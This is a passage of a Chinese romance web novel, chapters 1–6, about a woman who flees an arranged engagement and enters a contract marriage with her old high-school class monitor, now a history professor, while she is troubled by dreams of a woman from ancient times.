《白月光回国,求婚闻教授?》 1. 第 1 章 《白月光回国,求婚闻教授?》全本免费阅读 楔子—— 窗外大雪纷飞,鞭炮齐鸣,震天响的炮仗与梦里光怪陆离的雷声闪电交织在一起,现实与虚幻共舞,梦境与真相纠缠,让她常常分不清究竟身处何处。 , 轰隆!一声巨响,孟瑾恍惚地睁开眼睛,她无意识半张着嘴大口喘息,胸口剧烈起伏,额上的汗珠如流水一颗一颗无意识滚落—— 蓦地脑中闪过什么。 随地滚落的人头,在大雨中跌跌撞撞拼命往前跑的小女孩,还有后头站成一排、举着血淋淋铡刀的刽子手们…… 孟瑾抹了把汗,从床上下来,今天是农历除夕,外头烟花爆竹很是热闹。 窗外天色渐暗,屋里没有开灯,她摸黑去卫生间洗了脸,外头传来窸窸窣窣闻见开门进来的动静,他打开客厅的灯,暖光顺着门缝洒进卫生间,照出孟瑾眼下愈发明显的两行青灰。 这是她做梦的第一百二十九天,也是与闻见结婚的一百二十九天。 一切都是从那个雨夜开始的,就是她与闻见重逢的那一天。 “今天怎么样?又做梦了吗?”外头的人开门进来说。 孟瑾点点头,刚要说话,脑袋里又蓦地闪过什么:“班长,我好像……听懂了。” 闻见一滞,下意识说:“你是说,梦里那位青衣女子说的话,你听懂了?” “是,我听懂了。”孟瑾转过来看着他,语气肯定。 …… 第一章 自进了农历九月,安城的雨就零零散散没停过,房檐上的雨水顺着窗玻璃淌下,滴滴答答落到门外的青石小路上。 凌晨一点半,城市里不熬通宵的那批人已经陆续回了家。 ——圈圈圆圆圈圈、天天年年天天的我,深深看你的…… 电话铃声突兀地响起,孟瑾没什么情绪地从窗外收回眼,随手点开免提:“请讲。” 电话是孟瑾的妈妈唐婉清打来的,唐婉清听见她接快递电话似的语气,顿时火冒三丈。 噼里啪啦一阵输出,最后才说:“飞机票订了没?再上下没有半月就订婚了,你还待在国内不回来,是不是得我和你爸亲自过去请你回来?” “多大人了什么事都不放在心上,也就是天宇那孩子脾气好,要是换了我,我……” 这已经是孟瑾不知第多少回被她妈逼着跟宋氏集团小少爷宋天宇结婚了。 她微微皱眉看着自己手里修了一半的陶瓷碗,压着心里那股不知是气还是火的东西,开口打断她,说:“妈,我不喜欢宋天宇。还有,我已经有结婚人选了。” 刷然沉默。 周遭只剩下窗外淅淅沥沥的落雨声,孟瑾没再说话,她偏头看着床头柜上那个颇有年代感的焦糖色笔记本,没在发呆,也没有回忆,只是安静坐着。 那是她高中毕业时的同学录,那时候国内似乎很流行这个,孟瑾也不知是赶时髦还是怎得,稀里糊涂就跟着买了一个,甚至到了现在,她都不清楚当时班里到底有谁给她留言了。 但她记得,班长闻见给她写了,一串电话号码,后面冷冰冰一句:有事说话,随叫随到。 字如其人,一样的冷漠无趣。孟瑾想。 约莫过了半分钟,电话那头的唐婉清才回过神,她抬手按住突突乱跳的太阳穴,难以置信道:“你说什么?你要毁婚?!你知不知道你在说什么?你跟天宇你们都这么久了,你现在突然要跟别人结婚,你让我怎么跟你爸爸交代,怎么跟宋家人交代?!” 孟瑾转回视线,口吻依然平静:“我从来都不喜欢宋天宇,是你非让我跟他处对象的。” 她全程没有一句为公司,为家里考虑的话,唐婉清气绝,直接吼道:“什么叫喜欢?喜欢能当饭吃吗?家里和公司怎么办,你都不管了?” “家是你跟黄钱的,公司也是,”孟瑾说:“他不是我爸爸,你们也从没把我当过家人,否则黄钱不是还有两个女儿么,他怎么不让她们去跟宋家联姻?” 是的,孟瑾不是黄家的正牌千金,黄钱是她十八岁去意大利上学跟着唐婉清认识的,她的继父。 电话那头又是一阵暴躁,孟瑾不想多说,打了声招呼将电话挂断。 屋里重归寂静,但她已经没了修陶碗的心情,孟瑾放下手里的工具,去浴室冲了个凉水澡。手机亮了一下,她擦着头发点开微信,是唐婉清哭哭啼啼发来的语音,大致意思是: 如果孟瑾执意要毁婚,就是要跟她断绝母女关系,而眼下这房子,是孟瑾的亲生父亲生前留给唐婉清的,孟瑾没有资格再住在这儿。 孟瑾捏着手机呆愣片刻,回了一句:好,我知道了。 然后她拿出提前备好的两个大行李箱,将自己的东西一样样塞进去。 …… 吱—— 伸手不见五指的雨夜街头,出租车司机一脚油门踩到底,顺着挡风玻璃,他看到一个个子很高,手里夹着烟,穿一身米白色毛呢大衣的女孩子独自站在路边,脚边放着两个行李箱。 司机抬头环顾一眼四周的独栋小别墅,也不知道这女孩子是从哪来的。脑海里飞速闪过好几则“女子远嫁被家暴””深夜无家可归”“狼狈露宿街头”的热搜词条,面上不显,探头试着问:“您好,是您叫的车吗?” 外头的孟瑾回神点头,将行李塞进后备箱,坐进车里点了根烟。打火机的火苗因关车门的风窜动了一下,刹那照出一张惊为天人的绝美面庞。 前头的中年司机眼里寒光一闪,他透过后视镜打量她:“小姑娘这么晚咋一个人出门?” 接着又说:“你们这儿住的都是有钱人,网约车基本没人打,我都很少来这边的,今天倒是稀奇了。” 一路都在打听孟瑾家里的事,不知道人还以为这司机是来跟她相亲的。 孟瑾偏头看着车窗,没搭腔。手里的烟很快燃到一半,她把车窗开了一条缝,让带着雨丝的冷风灌进来。 孟瑾很小就会抽烟,具体什么时候会的她不记得了。唯一记着的,是她爸爸孟强东也是个出租车司机,也很喜欢抽烟。 后来,家里房子拆迁换了一套独栋小别墅,他却在孟瑾高二那年,也是这样一个淅淅沥沥的雨夜,为救一个被醉鬼欺负的高中生,被那些人用铁链子活活勒死了。 孟瑾也是从那天开始变得沉默寡言,用她妈妈唐婉清的话说,孟瑾是个很冷血的人。她从小就不爱交朋友,跟家人、老师,同学的关系也都是尊重而疏离的。因为孟瑾觉得人际交往是一件很麻烦且没有意义的事情,只要有一点做的不好,或者没有达到对方预想的结果,那么之前的所有都会在一瞬间化为泡影。 所以就连父亲的意外离世,孟瑾也没有感觉到很痛苦的情绪。 她是难过的,但还没有痛苦到失去理智的地步,孟瑾想报警让警察处理父亲的案子,可唐婉清却以“她上学要用很多钱”这种极为牵强的说辞,瞒着孟瑾,与那些人达成了私下和解。 爸爸的葬礼上,唐婉清哭得像个泪人,仿佛整个世界都塌了。孟瑾没有哭,她静静看着她,父母是传统意义上的包办婚姻,结婚十几年一直平平淡淡过日子,她从不知道,唐婉清与父亲的感情竟然这么深。 也是从 2. 第 2 章 《白月光回国,求婚闻教授?》全本免费阅读 是的,她说的是结婚。 后头的闻见没有立刻回答,他抬眸,眼里撞进孟瑾高挑洒脱的背影。迷离路灯,摇曳雨丝,女孩微卷的烟灰色长发早已被雨水打湿,软趴趴地粘在衣服上。 身后还放着两个行李箱。 她刚刚问福袋:怎么也一个人在这儿流浪。 这话的意思是孟瑾现在在流浪? 眼前这幕,若是影视剧情节,女主角定是既狼狈又让人心疼的。可是孟瑾不会,哪怕深更半夜无家可归,哪怕刚刚经历了生死一线的事情,她也不会让人看到她的狼狈,记忆里,孟瑾似乎一直是这样。 洒脱又明媚。 十八岁,高三初见是这样,时隔十年,二十八岁再见依然是这样。 “我考虑好了,我们结婚。”闻见呆愣两秒郑重答她,直白的,不加掩饰的,没有任何话术。 孟瑾闻言呼吸一滞,心脏也跟着紧了一下。 很轻,但她感觉到了。 孟瑾的脸上没有表情,她有些木然地回头与他对视。 两人间隔着一米的距离,不远不近。微风,雨丝,西装板正的男人,还有他拎在手里很醒目的冲锋衣外套。 黑夜悄无声息。闻见浅褐色的眼眸含着一抹笑。 不浪荡,也不深情,就是人际交往平常一笑,但仿佛又带着跨越山河般的奔赴—— 直击心灵。 脑子里的思绪有些乱,恍惚飘回一周前。 那天正值周六,临近傍晚落了一场小雨。空气清新,温度适宜,孟瑾本坐不惯地铁公交一类人挤人的交通工具。但是无奈囊中羞涩,她又接了一单棘手的活。 孟瑾与手里碎成八块的陶瓷碗大眼瞪小眼,半晌,还是小心将它装进泡沫箱子,出了工作室,拎着往地铁站走。 傍晚的街道是堵车高峰,从工作室出来,眼前琳琅满目的全是各色豪车。其中夹着几辆小馒头代步车,滑稽又可爱。 她弯起眼睛笑笑,才拿出手机准备拍个照片,唐婉清的电话就突兀地跳进来,打乱了她的计划。 孟瑾捏着手机哑然片刻。 “喂。” 那边先是质问怎么这么久才接,接着又是她和宋天宇的婚事。孟瑾站在路边听了五分钟,唐婉清还没说完,也没给她说话的机会:“哎,我跟你说话呢!没听到啊?这半天连个气都不吭?还有,你那边咋那么吵……就不能找个安静点的地儿?” 孟瑾抬头看着西南方一团火烧云,没什么情绪地说:“我在路上打车,所以有点吵。” 唐婉清气得直拍桌子:“我跟你说这个了吗?说的是什么你都没再听?从小就这样三心二意的,也不知道我上辈子造的什么孽,怎么就生出你了……?” 孟瑾不想跟她吵,但也不想再听:“是你问这边为什么这么吵,我才说在打车的,没必要扯到造孽吧?” “……”唐婉清一噎,还要再说。 孟瑾又道:“还有,和宋天宇的事你不用再说了,我不会回去的。就这样,挂吧。” 电话挂断,直接关机。 …… 暗黄路灯一盏盏亮起,太阳便匆匆下了山。 “你是孟瑾?” 身后响起一道不太确定的男声,孟瑾回神侧目,看见一个白衬衫,黑西装,领带一丝不苟的年轻男人。 她的呼吸一停,脑中回忆涌现,她想:自己是不该忘记他的。 青梅竹马、久别重逢,这些常出现在都市小说里的词汇,随便一品,都能嗅到空气里暗潮汹涌的暧昧气息。 她与对方也曾淋过同一场大雨,检过同一片梧桐;只可惜纯粹的爱是“天赋物”,她没有,也学不会。 来人肩宽个高,五官英俊,褪去了少年人的青涩稚气,取而代之的是冷淡眉眼下,一股稳稳的书卷气息。 夜风徐徐刮过,带来他身上清爽好闻的洗衣液味道。 孟瑾眨了眨眼睛,将眼前人与记忆深处的少年渐渐重合,是了,他是她高三时的班长——叫闻见。 名字和他人一样,都带着一股稳稳的书卷气。 空气静谧半晌。 孟瑾朝他点点头,不失礼数地扯了个假笑:“班长?” “是,好久不见。”闻见语气淡淡的,也笑了。 接着又问:“回来探亲?” …… 孟瑾坐上他的副驾,随意交换着这些年各自的经历;她同他说了要留在安城发展的事情,还有近在咫尺的,与宋天宇的婚事。闻见也没比她好到哪里,尽管他现是安城大学最年轻的历史系副教授,工作稳定,有房有车,但家里还是不停催着他相亲。 先是每天下班去咖啡厅见各种女孩子,见他依旧独来独往,没有谈恋爱的意思,他妈妈又托人四处打听,给他介绍了几个有意向的男生。 似乎在老一辈的观念里,人不结婚就是不完整的。 目光不经扫过身旁男人冷淡的眉眼,闻见侧目看向窗外,眉头微皱,看着情绪不高的样子。 她淡淡收回眼,凭借着依稀记忆,拼凑起两人为数不多的相处场景。 孟瑾是高三从理科班转去闻见他们班的,她本就不擅与人接触,班里的集体活动也少有参加。 为了避免被班主任退回理科班,她不得不于老师派来的班长闻见保持表面友谊。 背书、吃饭,在晚风徐徐的校园角落做笔记,明明都穿着学校统一配发的校服,她却能在人群里一眼认出闻见的背影。 他的身材齐长,五官自带冷感,虽然两人都是不爱说话的性格,但神奇的是,她在高三文科班差不多一年的时光里,只要一抬头,几乎都能看到闻见不远不近的身影。 有时是跟着她,有时则在前面一段等她。 虽然闻见从不曾明说,但孟瑾知道,高中时,他是有些喜欢她的。 只是从一开始她就知道,自己没有爱人的能力,也没有接受爱的天赋。 年少的记忆在脑海里一闪而过,画面断断续续,不太清晰。 但她记得,闻见在高三百日誓师大会那个雨夜,清清楚楚跟她说过:“不管发生什么,你回头,我就在原地。” 孟瑾没想到时隔这么久,她还记得那个大雨滂沱的夜,少年垂着头,寂寥又落寞地独自离开的背影。 两人相处的时间不多,也谈不上谁负了谁的心。孟瑾半晌回神,打了声招呼,准备下去了。 “谢谢班长送我回来,我先下去了,改天请你吃饭。” 闻见猝然扭脸,冷淡眼眸一瞬不移地盯着她:“你能不能……能不能……” 能不能不跟别人结婚? 他好不容易鼓起勇气,话说一半,却还是咽回去。 孟瑾看着他欲言又止的表情,不明所以“唔”了声:“班长想说什么。” 时隔多年,她还是这样坦荡又干脆。 困在迷局里的人是他,这么多年不愿放手的人是他,没有勇气说出心事的人……还是他。 因为他是躲在角落地偷窥者,偷窥者永远做不到上位者的坦荡。 闻见摆手笑笑,没有再说什么。 他略显尴尬地清了清嗓子,目光随意瞥见她手上把玩着一个打火机,银灰色,方形,是个挺老的款式。将要收回眼,却见暗红火苗忽地弹出,照出她骨节分明的手,无名指上还戴着一只与她周身气 3. 第 3 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾在闻见客厅的沙发上睡了一整天,醒来时正值傍晚。 窗外余晖布满天际,城市被拉进夜的狂欢。 她坐起身恍惚地伸了个懒腰,打开箱子准备忙今天的事情。 昨晚情绪上头走得干脆,万一把箱子里那些宝贝摔出个好歹,那可真是……倾家荡产也赔不起。 何况她现在还无家可归,无钱可赔。 今天早上,她跟闻见去民政局办了手续,之后他便把她送回家,换了衣服,洗了澡就带着福袋上班去了。 中午不到,宋天宇和唐婉清就连着给她打了好几个电话,孟瑾没接,而是直接将结婚证拍照甩过去。 接着,便关了手机。 虽然关了手机,但孟瑾也没睡太好,眼下两行清灰,看着十分憔悴。 孟瑾抬手柔柔酸胀的眉心,把行李箱里的泡沫小箱子一个个拿出来,摆到茶几上。 现在比较棘手的还是上个月接的那个陶瓷碗,细腻的做工、栩栩如生的花鸟彩绘,加上岁月沉淀留下的厚重感。 虽然这碗不是什么名贵的文物,但好歹也算是个古董,修复的精细度也一点不比文物差,想在短时间内做到一比一还原,确实不是一件易事。 合同上对方只给了她五十天,眼下都快一个月了,修复工作才做了一半。孟瑾随手点了根烟,思绪一晃,脑海里又闪过昨晚的事情。 闻见的手掌宽大而热,他稍稍一用力,几乎就将她整个腰身揽进怀里。 孟瑾当然一脸诧异,加上刚刚出租车司机的挑衅,她差点反手一巴掌糊过去。 闻见当即红了眼,他浅色眼眸直视着她,突然无奈地笑起来:“孟瑾,在你心里,我是那么不堪的人吗?” 孟瑾愣了愣,没说出话。 闻见:“是我妈的电话,她不相信我找到结婚对象了,你能跟她打个招呼吗?” 来自异性与身高的压迫感,他的气息铺天盖地,呼出的热气晕染着她的眉眼,说话声音也很低,就仿佛是她欺负了他一般。 孟瑾稀里糊涂点了头。 打完电话,闻见转身去前排开车,她才想起来,还没说合约结婚的事情。 然后她便直接说了自己的想法。 结婚都是为了跟家里交差,两人没有感情基础,自然也不用敬夫妻义务,至于家里的日常开支,孟瑾想的是两人五五平摊,她半年给他转一次,三个月也行。 末了,她敲着电脑抬头,又问一句:“班长,你觉得这样可以吗?” “可以。”闻见开着车没回头,语气不轻不重。 他专心将车开进一处高档小区,从前面下来坐到后座,折腾了一个晚上,已经十分疲惫。不过闻大才子一向注重自己的仪表,他很绅士的坐在对面靠近车门的位置。 “给我看一下。”闻见伸手接过她怀里的电脑,骨节分明的手指在键盘上飞速敲打,边说:“福袋是我养的,你不用管,房子是我提前装修的,你也不用管。我会做饭,如果学校不开会,下午会在家里开火,所以日常开支我七你三就行。” 窗外“啪嗒”的雨滴绵绵不断,端坐在前排的福袋没有看过来,周遭萦绕着他身上淡淡的洗衣液味道,车厢内的光线也显得昏暗。 孟瑾偏头看向窗外,东方青紫朝霞已然遮盖了夜的黑,她手上随意把玩着一只打火机,半晌开口道:“不用这样,班长。” 不用这样对她好,不用像小时候那样刻意照顾她,她只是躺在他户口本上的妻子。 各取所需而已,没必要这样。 “不是因为你,孟瑾。”他转过头,看着她被头发遮住大半的侧脸轮廓。 她没说话,也不看他,手上的打火机忽明忽灭,仿佛森林间亮亮的萤火虫,美丽而孤寂。 似乎过了很久,实际上也不过几秒的光景,闻见收回眼,再次淡淡开口:“生活费是我妈给她儿媳妇的,不管谁跟我结婚都一样。” 哈,原来有爱的家庭氛围是这样的。 她弯起眼睛笑笑,没再说什么。 就当他把他世界里的光,借给她了。 孟瑾十五岁时外婆离世,也是那时,她被父母从农村老家接过来,她来的那天安城下了好大的雨,城市内涝,山体滑坡……似乎连这个城市的天气都不欢迎她的到来。 两年后的同一天,也是一个下雨的夜,她被兵荒马乱的叫喊声吵醒,得到的是父亲已然离世的消息。 孟瑾看着那一切,她心里是难过的,但并没有感同身受的觉得有多痛苦的情绪,大抵,她生来就是个心冷情冷的人吧。 孟瑾在高三转去文科班遇到闻见,为了避免新班主任将她退回理科班,她不得不与闻见维持表面友谊。 背书、吃饭、在晚风徐徐的校园角落做笔记……孟瑾差点以为自己已经学会了友谊这门“人生课”。 孟瑾在闻见的车里发了好一会的呆,然后她发现一直端坐在前排的福袋忽然跑过来,用毛茸茸的脑袋蹭了蹭她的手。 思绪就此被打断,所幸都是些旧事,她也懒得想。孟瑾伸手挠了挠福袋的下巴,看着它跑来跑去的,在两人间来回踱步,忽然笑道:“它好乖呀,应该叫小乖才对,为什么叫福袋呢?” “它装的,看见喜欢的人就会装的乖一点。”闻见抬头看过来,语调沉静淡然:“民政局应该上班了,先去登记吧。完了再说给它改名的事儿。” …… 孟瑾回神眨了眨眼睛,起身走到窗边,外面天已经快黑了。今天白天没有下雨,这会儿又乌云密布的,感觉很快就要落下一场大雨。 目光四下打量一圈,发现厨房窗户开着,有风再往屋里灌,带着北方下雨时特有的土腥味。 孟瑾抬手咳了两声,跑过去把窗关好,回头的刹那,恰好撞上开门进来的闻见和福袋。 目光相接一瞬,两人皆是无言。 周遭陷入难言的尴尬静谧。 朦胧夜色下,闻见身材颀长,眉眼疏离,像一副穿越千年的水墨画,神秘而孤寂。他手里拎着大包小包的菜,还有水果和各种零食,匆匆脱了外套,走进来。 “要喝水吗?”他开了一瓶矿泉水递过来,主动打破沉默:“你平时喝纯净水还是开水。” 看着倒是清冷又疏离,但实际上,却是下班后会去超市“打猎”的男人……唔,反差好像有点大哦。 孟瑾随意靠着琉璃台,她眯眼一笑,摇头示意自己不喝:“我刚刚睡觉做了个梦,有点记不清了,又感觉很奇怪。班长,你说……” ”你说”什么还没说,口袋里的电话就响了。 孟瑾掏出来看了眼,是金主爸爸打来的,她捏着手机无奈地耸了耸肩,走出去接电话了。 闻见没说话,仰头喝了口水。 孟瑾身上穿一件淡色收腰蕾丝睡裙,她的身材曲线娇柔有形,不是纯粹饿瘦的,而是更有韵味的蜂腰翘臀。 脚步突然停住,女孩因感冒微微发红的眼眸看过来:“我记得,班长说要在家里开火……” 言外之意就是:肚子饿了,又不好意思说。 闻见倒是很 4. 第 4 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾半晌没说话。 估算了一下,大概半分钟。 闻见抬头看去,才发现对方似乎在发呆。 窗外雨声依旧,闷雷碾过漆黑的天际。头顶暖黄的灯光洒下来,照得她的面容有些苍白。 重逢后,两人见面不过三次,但他还是察觉到,孟瑾似乎有心事。闻见眯了一下眼睛,没再说什么。 “也没什么,就是……”又过了一会儿,孟瑾才垂眼笑笑,声音不大:“就是我今天下午睡觉的时候,梦到了个身穿华服的古代女生,她似乎是有话要说,但是……具体的我也记不得了。” “就感觉有点儿奇怪,”她说着抬头看过来,亮亮的眼眸含着水光,“班长,你说我是不是梦见前世的自己了?” 倒是没想到是这样的答案。 闻见听着她有气无力地奇思妙想,挑了一下眉,实话道:“前世今生之说,从科学的角度是解释不通的,但凡事都有例外,也没有绝对的定论——那个,你是不是昨晚淋雨感冒了,我看你脸色仿佛不太好?” 教授果真是教授,不管你说什么胡言乱语之类,到了他们耳朵里都能一本正经答出来,跟站在台上讲代码似的,半点意思没有。 有那么一瞬间,孟瑾忽然觉着,自己前两天大概是被唐婉清搞的脑袋不太好使,判断失灵了,不然怎么稀里糊涂就找了这么一个无趣的人把自己嫁了。 不过话说回来,闻见不是一直都这样么?她又不是不知道。 孟瑾心不在焉抬手搓了把脸,默默低头数面条了,“没事,我一会儿找点热水喝了就好。” 闻见没吱声。 起身去厨房烧了热水,又在客厅茶几抽屉里翻腾了半天,找了好几种消炎感冒药拿过来,“这些都是中药质地的,不太刺激胃,看看有没有平时吃惯的。” 孟瑾看着他手里乱七八糟一大堆药,没忍住抬头,闻见恰好也说完了话,他垂着眸子与她对视,语速不紧不慢,声音依旧温和:“没有合适的吗?那你等一下,我出去买一点。” 孟瑾:“……” 她算是知道了,跟闻大教授相处就得红是红白是白,正正经经的来,因为他真的半点儿弯都不会拐。 她从小就喜欢天马行空的乱想,要是换以前估计能当场吐槽出来,但日积月累的生活打磨,也让她习惯了与各种各样的人平和相处,何况对方还是个直性子的热心肠,她实在没有理由再说什么。 孟瑾笑:“不用,这个感冒灵就行。” 闻言,他迈出去半步的脚退回来,迟疑片刻,侧头说:“雨下这么大,估计外面卖棉花糖的都关门了,等下,我去考一个——你不舒服的话,要不先去卧室躺会儿?” 孟瑾摇头说不用,反应过来他的上半句,一下有些吃惊:“班长,你怎么知道我吃完药会吃棉花糖?” “嗯,之前高中的时候我……给你买过。” 说完,转身又钻进厨房。 孟瑾无意使用筷子搅了搅自己剩了大半碗的面,眼里惊讶神色还未退净,而且她还注意到,闻见方才最后一句话,是……有点迟疑的。 她偏头捂嘴咳了两声,正要去厨房洗碗,注意到还在脚边围着她转圈的福袋,又从茶几底下拿了个罐头给它。 福袋当即眉开眼笑,将尾巴摇成了电风扇。 孟瑾也弯起眼睛笑笑,窗外一声闷雷伴着闪电砸下,她被吓了一跳,没忍住摸着脑袋跟福袋抱怨,“哎呀!吓死我了,没事老下什么雨……” 声音不大,但还是被闻大才子敏锐地听了去,他捯饬着手里的空气炸锅回头说:“孟瑾,你没事做的话,过来帮我拆下包装吧。” “啊?哦,剪刀在哪儿?” 话没说完,门口忽然传来一阵急急地敲门声。 孟瑾猝然扭头,不确定这么晚还会有谁过来,是唐婉清来兴师问罪了吗?这想法在脑子里一闪而过,很快,她就反应过来。 唐婉清并不知道闻见家住哪,不过要是宋天宇也来的话,那就难说了。 孟瑾收回思绪站起来,余光里,闻见似乎冲她笑了下,然后同福袋一起慢悠悠去开门。 “哎呀,你这臭小子怎么这么半天,不知道你妈看儿媳妇着急啊?”一位穿小香风,戴珍珠项链的女士边往里走边笑着说,又伸手推了旁边闻见一把,力道不轻不重——就像朋友间的玩笑。 闻见仿佛也很习惯这样地相处方式,他笑着转身靠到鞋柜上,懒洋洋地不答反问:“啧,我说闻女士,您这变脸变得也太快了吧,怎么,有了儿媳妇就不认亲儿子啦?” 说着,扭头看过来:“孟瑾,这是我妈,你在电话里见过的。” 不止电话里,小时候在小区里也见过,只是闻见不知道。 孟瑾闻言极快地收回思绪,不自在地点点头,又扯唇一笑:“阿姨好。” “哎哎哎,好好好。”闻女士没答理闻见,只笑着看向她,满意地连连点头,把手里的保温餐盒放到茶几上,又招手示意她到自己跟前来,“小瑾呀,你别紧张,过来给阿姨看看,有没有什么不满意的,吃的住的还习惯吗?小见有没有对你不好,有没有欺负你呀?” “有的话尽管跟我说,阿姨帮你教训他。” 孟瑾走上前,拘谨道:“谢谢阿姨关心,班长他很周到,我没什么不习惯的。” 话落,又想起什么,客气地招呼:“阿姨,您请坐,我去给你倒水。” “班长?”闻女士伸手拉她的动作一停,眼睛狐疑地在两人间打量,“小见,你们不是都结婚了吗?小瑾怎么还一口一个班长的叫?” 孟瑾:“……” 完了,怎么忘了改口呢。 闻见看出了她的懊恼,笑着上前,很自然地捏捏她的手,话说得随意:“哦,那不是妈您进来这半天坐也不坐,也不理我,就光顾着拉她说话,你说人能不紧张吗?紧张肯定会说错话呀。 5. 第 5 章 《白月光回国,求婚闻教授?》全本免费阅读 孟瑾这一问来地突然,却是情理之中,不显突兀的。 从法律层面看,她是他的妻子,自然有权过问他的感情状况。 然而闻见了解她,知道对方不是闲来无事打听八卦的性子,也知道孟瑾不在乎他的感情经历,她之所以有这一问,大概是自己的暗示太过明显。 毕竟他说的是;之前喜欢,又出了国的女生——孟瑾就算再不精明,也该想到是自己。 闻见略略一停,笑着答她:“或许吧,也或许只是怀念。” 孟瑾闻言一挑眉,倒是没再问。 成年人的世界多以点到为止,何况把话都说明白也未必是什么好事。 不是有句老话说:难得糊涂么? 既然对方不愿多说,她自然尊重理解。 话题就此中断。墙上的挂钟指向十一点,窗外雨声依旧,窸窸窣窣,听不分明。 沉默的时间有些长,孟瑾率先站起来,在客厅暖黄的灯光下笑着点头:“天色不早了,那我先休息了,班长也早点睡,晚安。” 闻见看着她被暖光拉长的影子,微卷的烟灰色长发随意披在肩头,泛着水光的眼眸微弯,笑意不达眼底。 他也站起来,凑近她,直到半米的距离,浅褐色的眼眸微动,面上情绪不显:“好,主卧已经收拾出来了,我带你过去。” “不用,”孟瑾摇头笑笑,话说得明白:“我掏的钱少,我睡客卧就行。” 他点头,没再多说。转身往客卧方向,经过孟瑾身边,忽然嗅到她身上甜腻的蜜桃香,脚步不自觉停顿,耳尖也见缝插针染上一抹红。 不同于昨晚清淡梳理地烟草味,蜜桃柔软的甜香丝丝缕缕进入鼻腔那一瞬,闻见几乎听见了自己的心跳,漏了半拍的心跳。 仿佛察觉到什么,她侧头眨眨眼睛,主动打破道:“班长,你……” “啊,没什么、走吧。”闻见语速飞快地打断她,自顾自往那边走了。 声音自他宽大的背后传来,带着些不易察觉的……闪躲。 孟瑾缓步跟上,进了房间。 再次客客气气道了晚安,抬手关灯,房间一片静谧。孟瑾摸黑走回床边,脑子里乱七八糟的事有些多,加上她今天还睡了一整天,现在也没什么睡意。 想到刚刚闻见说的,他之前有一个喜欢的人,但那个女生很早就出国了,后来也没再联系过。 孟瑾不确定他说的是不是自己,如果是的话,他又为什么不把话说清楚,又或者……闻见其实是在暗示什么,所以到底是什么呢? 还有唐婉清那边,自从上午打完电话就没了动静,但孟瑾知道,唐婉清绝对不会这么轻易就放弃对她的控制、说教,可是整整一个下午她都没再给她打过电话,这……又是为什么? 孟瑾翻来覆去转了好几身,脑子里的思绪也越来越乱,她无意识皱了皱细眉,又转了个身,还是睡不着,烦躁地抱着被子蹬了两下腿,明明声音不大,却还是引来外头福袋兴奋地摇尾附和:“旺旺!” 接着又是隔壁闻见窸窸窣窣开门出来的动静,“福袋!你能不能安静点,大半夜吵什么呢,再吵小心楼上的邻居阿姨去物业公司举报你!” 福袋闻言死狗似的哼唧了两声,然后就跟着闻见回房间了。 用耳朵目睹全程的孟瑾:“……” 她抿了抿唇,没再敢发出什么“大的”动静,只是默默伸手拿过床头柜上的烟和打火机,随着啪一声清脆,红蓝火光弹出,脑子里的思绪也渐渐跑题,想起了遥远的高中时期。 时间倒回十年前——安城市第一中学。 九月的校园依旧燥热,从校门口往高三部去的过道两旁种了好多树,有梧桐树、白杨树、桃树,过道最里还有一颗很大的银杏树,金黄的叶子被风刮得到处都是,踩在脚下咯吱咯吱地响。 那天正值孟瑾从理科(4)班转去文科(8)班,因为她是刚来的,加上文科成绩也不很好,班主任李雪,外号雪花便果断将她安排到靠近讲台的第一排,旁边是白净高冷的闻见,闻大班长。 雪花对此的解释也很官方,美其名曰:让闻见看着她,辅导她好好学习。 “但是……老师,”孟瑾漫腾腾从肩上扯下书包,然后抬手指了一下旁边的闻见,说:“闻大班长的文科成绩又不一定比我好,他怎么辅导我啊?” 雪花伸手拿粉笔的动作一停,差点没反应过来:“你说什么?” 孟瑾觉着她应该听清了自己的话,于是没再重复,只自顾自地说:“是真的,我俩是邻居,上下楼的那种,他好多时候背不出来课文,都要找我借笔记的。” 说着,扭头看向旁边一脸惊愕的闻见,又弯起眼睛轻轻一笑,“是吧,大班长。” 闻见仍旧一脸莫名,其实不光是他,有那么十几秒的光景,他们全班都出奇地安静。 因为文科(8)班是安城市一中出了名的重点班,而作为班长的闻见更是每门功课都名列前茅,成绩好的一度让雪花开早会的时候,在校长面前都很有面子。 说他背不出课文,还要借别人的笔记,雪花简直要倒立穿高跟鞋来上课了。 何况孟瑾高一就是转学生,她成绩不好更是全学校老师都公认的,闻见怎么会去借她的笔记?简直就是天方夜…… 雪花的“谭”字还没想完,就见一向不给人面子的闻见轻点了下头,说:“是……” 声音像是从牙缝里挤出来的,他甚至连嘴都没张。 没等雪花反应,孟瑾又说:“那老师我现在能去后排了吗?” 雪花抬头看着闻见,话却是答她的,“随你的便。” 接着,她便真的在全班同学不可置信的目光注视下,随自己的便去了后排,一个女生坐在好几个不学习的男生中间,不跟他们玩,自己也不学习,没事就喜欢拿各种瓶瓶罐罐在手里端详。 闻见则不出意外地被雪花叫去办公室,劈头盖脸狠狠训了一顿,说他借 6. 第 6 章 《白月光回国,求婚闻教授?》全本免费阅读 风沙四起,大雾漫天。 恍惚的视野里,孟瑾看不清她的脸。 身旁竹林幽深,鸦雀低飞,朦胧的月光如轻纱流水般透过竹叶丝丝缕缕照在不远处的青衣女子身上,她的身形芊盈,肤色净白,举手投足尽显端庄贵气。 “你是谁?”孟瑾说着尽量瞪大眼睛,她在观察对面人脸上的表情,她试图捕捉一些有用的信息,哪怕只是一个微表情。 然而青衣女子似乎并不懂她在说什么,她只是缓缓抬头看来,一双眼眸神情悲戚。 “你……”孟瑾张嘴还要再说—— 风沙忽地更大起来,这次,她连那女子的身影也看不见了。风沙大的令她睁不开眼睛,霎时只觉呼吸困难,喉头紧锁,像是被人扼住了咽喉一般。 …… “咳咳咳咳咳……”惊天动地一阵呛咳后,孟瑾终于十分吃力茫然地睁开了眼睛。 旁边闻见见人醒来,立刻放下手里的水杯,低头问道:“你可算是醒了,感觉怎么样?还难受吗?” 她有气无力“嗯”了一声,睡不醒的小猫似的皱着眉哼唧了两下,闭了闭眼睛,再睁开,总算看清了眼前场景。 大白墙,挂在架子上的吊瓶,还有呛得人头疼的消毒水味——不是,怎么还躺到医院了? 站在床边的闻见表情如常,不知是清晨还是傍晚的暖光照着他棱角分明的侧脸轮廓有些紧绷,此时,正安静低头与她对视,眼里情绪有些看不分明,“你昨晚感冒发烧,打了一天的吊瓶才醒。怎么样,现在感觉好点么?” 孟瑾摇头说没事,注意到她眼睛还是直直盯着自己,又咧嘴笑了笑,哑声客气道:“谢谢班长送我来医院,麻烦你了。” 闻见:“没事,不用跟我客气。” 